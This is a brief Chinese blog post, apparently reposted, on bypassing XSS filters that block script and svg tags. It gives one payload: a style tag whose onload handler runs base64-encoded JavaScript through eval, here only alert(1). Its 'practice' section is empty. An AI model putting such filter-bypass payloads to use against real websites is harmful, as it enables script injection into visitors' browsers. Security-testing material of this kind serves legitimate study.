xss技巧之绕过script和svg的过滤

Posted Dark1nt

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss技巧之绕过script和svg的过滤相关的知识,希望对你有一定的参考价值。

0x00 原理

  已知页面存在xss,但是过滤了script和 svg,可以用什么payload?

0x01 payload

<style onload=eval(atob("YWxlcnQoMSkK"));></style>

0x02 实战

以上是关于xss技巧之绕过script和svg的过滤的主要内容,如果未能解决你的问题,请参考以下文章

技巧 | XSS的常见绕过方法

渗透技巧XSS三重URL编码绕过实例

XSS的修复与绕过

xss绕过过滤方法

xss绕过姿势总结

XSS与WAF规则探测及绕过技术